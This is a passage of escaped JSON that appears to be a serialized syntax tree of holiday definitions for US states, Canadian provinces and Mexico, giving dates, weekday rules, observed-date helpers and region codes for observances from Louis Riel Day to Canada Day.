Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_nb\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Louis Riel Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_mb\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year_ranges\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"int\",\"children\":[2015]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Nova Scotia Heritage Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_ns\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Islander Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_pe\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Día de la Constitución\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[12]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_weekday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Lincoln's Birthday\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_ct\"]},{\"type\":\"sym\",\"children\":[\"us_il\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Presidents' Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Groundhog Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]},{\"type\":\"sym\",\"children\":[\"ca\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[14]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Valentine's Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]},{\"type\":\"sym\",\"children\":[\"ca\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[17]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"St. Patrick's Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_nl\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[23]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"St. George's Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_nl\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Natalicio de Benito Juárez\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Town Meeting Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_vt\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[26]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_weekday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Prince Jonah Kuhio Kalanianaole Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_hi\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Seward's Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_ak\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[31]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_weekday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"César Chávez Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_ca\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[17]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"St. Patrick's Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]},{\"type\":\"sym\",\"children\":[\"ca\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"ca_victoria_day(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Victoria Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_ab\"]},{\"type\":\"sym\",\"children\":[\"ca_bc\"]},{\"type\":\"sym\",\"children\":[\"ca_mb\"]},{\"type\":\"sym\",\"children\":[\"ca_nt\"]},{\"type\":\"sym\",\"children\":[\"ca_nu\"]},{\"type\":\"sym\",\"children\":[\"ca_on\"]},{\"type\":\"sym\",\"children\":[\"ca_sk\"]},{\"type\":\"sym\",\"children\":[\"ca_yt\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"ca_victoria_day(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"National Patriotes Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_qc\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Día del Trabajo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Cinco de Mayo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"La Batalla de Puebla\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx_pue\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Día de la Madre\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Día del Maestro\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Truman Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_mo\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_weekday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Confederate Memorial Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_sc\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Memorial Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Mother's Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]},{\"type\":\"sym\",\"children\":[\"ca\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Armed Forces Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[6]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Discovery Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_nl\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Fête Nationale\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_qc\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[21]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"National Aboriginal Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_nt\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[21]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year_ranges\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"int\",\"children\":[2017]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"National Aboriginal Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca_yt\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Día del Padre\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Jefferson Davis' Birthday\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_al\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[11]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_weekday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"King Kamehameha I Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_hi\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[19]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_weekday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Juneteenth\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[20]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_weekday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"West Virginia Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_wv\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Father's Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]},{\"type\":\"sym\",\"children\":[\"ca\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[7]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_monday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Canada Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[12]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Orangemen's 